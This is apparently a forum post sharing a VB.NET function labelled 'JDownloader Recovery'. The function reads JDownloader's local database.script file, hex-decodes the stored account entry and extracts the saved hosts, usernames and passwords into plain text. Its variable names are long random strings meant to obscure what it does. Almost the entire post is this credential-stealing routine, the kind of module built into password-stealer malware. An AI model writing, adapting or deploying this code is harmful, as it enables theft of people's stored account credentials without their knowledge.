[VB.NET] JDownloader Recovery - Printable Version

Code:
Friend Function ZvDKoCBRUXPnDvfOQkNSfcLYxxZhuWpVtLlLWQiSoYjplwOckl() As String
        Dim MGYVscmsoBRSnpyWEhwdjDLBgbbafQJQuVHXadVtXClhWqhYlv As String = ""
        Dim oNHkmTZsBqWRSQVGNUkLLaRTLkNrpXMgXObmVUIIjrEgzfDVhV As New System.Text.StringBuilder
        Dim eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn As String
        Dim knfETMvdgBdhvGbobOpMKmUlXbBbmgyvToNFCNesOCLjeHJpKP As String = ""
        Dim XNsCCBGcjqVihxBEvUjcMuwRtyMJrFeeGObDWCarSrDwPyVFQW As String = ""
        Dim LXoDLMVsnRTzGZhXDxywCmtBRrrHwzrRtYWEsNEuITCBooQYkN As String = ""
        If Environ("Programfiles(x86)") Is Nothing Then
            eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn = Environ("programfiles") & "\jDownloader\config\database.script"
        Else
            eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn = Environ("programfiles(x86)") & "\jDownloader\config\database.script"
        End If
        If Not IO.File.Exists(eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn) Then
            Return ""
        Else
            Dim GlJbnbYSkhFoyFBNdezCLiQtJpvPXNsnnmrcVcHhTjmphGjOxt As String = "INSERT INTO CONFIG VALUES('AccountController','"
            Dim iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs As String() = IO.File.ReadAllLines(eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn)
            For i As Integer = 0 To iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs.Length - 1
                If iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs(i).Contains(GlJbnbYSkhFoyFBNdezCLiQtJpvPXNsnnmrcVcHhTjmphGjOxt) Then
                    Dim fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv As String = iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs(i).Substring(GlJbnbYSkhFoyFBNdezCLiQtJpvPXNsnnmrcVcHhTjmphGjOxt.Length - 1).Substring(1, iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs(i).Length - (GlJbnbYSkhFoyFBNdezCLiQtJpvPXNsnnmrcVcHhTjmphGjOxt.Length + 1 + 3))
                    For u As Integer = 0 To fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv.Length - 1 Step 2
                        MGYVscmsoBRSnpyWEhwdjDLBgbbafQJQuVHXadVtXClhWqhYlv = MGYVscmsoBRSnpyWEhwdjDLBgbbafQJQuVHXadVtXClhWqhYlv & Chr("&H" & fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv.Substring(u, 2))
                    Next
                    fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv = ""
                    Dim qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw As String() = MGYVscmsoBRSnpyWEhwdjDLBgbbafQJQuVHXadVtXClhWqhYlv.Split(Chr(0))
                    For l As Integer = 0 To qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw.Length - 1
                        For r As Integer = 1 To 31
                            qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l) = qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l).Replace(Chr(r), "")
                        Next
                        qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l) = qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l).Replace("ÿ", "")
                        If qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l) <> "" Then fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv += vbNewLine & qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l)
                    Next
                    Dim PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII As String() = fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv.ToString.Split(vbNewLine)
                    For x As Integer = 0 To PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII.Length - 2
                        If PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).EndsWith("sq") And PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).IndexOf(".") > 0 Then
                            LXoDLMVsnRTzGZhXDxywCmtBRrrHwzrRtYWEsNEuITCBooQYkN = PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).Substring(0, PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).Length - 2)
                        End If
                        If PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).EndsWith("t") And PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x + 1).EndsWith("xt") Then
                            XNsCCBGcjqVihxBEvUjcMuwRtyMJrFeeGObDWCarSrDwPyVFQW = PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).Substring(0, PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).Length - 1)
                            knfETMvdgBdhvGbobOpMKmUlXbBbmgyvToNFCNesOCLjeHJpKP = PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x + 1).Substring(0, PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x + 1).Length - 2)
                            If XNsCCBGcjqVihxBEvUjcMuwRtyMJrFeeGObDWCarSrDwPyVFQW.Length > 4 Then oNHkmTZsBqWRSQVGNUkLLaRTLkNrpXMgXObmVUIIjrEgzfDVhV.Append("Application: JDownloader" & vbNewLine & "Host: " & LXoDLMVsnRTzGZhXDxywCmtBRrrHwzrRtYWEsNEuITCBooQYkN & vbNewLine & _
                                             "User: " & knfETMvdgBdhvGbobOpMKmUlXbBbmgyvToNFCNesOCLjeHJpKP & vbNewLine & _
                                             "Pass: " & XNsCCBGcjqVihxBEvUjcMuwRtyMJrFeeGObDWCarSrDwPyVFQW & vbNewLine & vbNewLine)

                        End If
                    Next
                End If
            Next
        End If
        Return oNHkmTZsBqWRSQVGNUkLLaRTLkNrpXMgXObmVUIIjrEgzfDVhV.ToString
        ZvDKoCBRUXPnDvfOQkNSfcLYxxZhuWpVtLlLWQiSoYjplwOckl = oNHkmTZsBqWRSQVGNUkLLaRTLkNrpXMgXObmVUIIjrEgzfDVhV.ToString
    End Function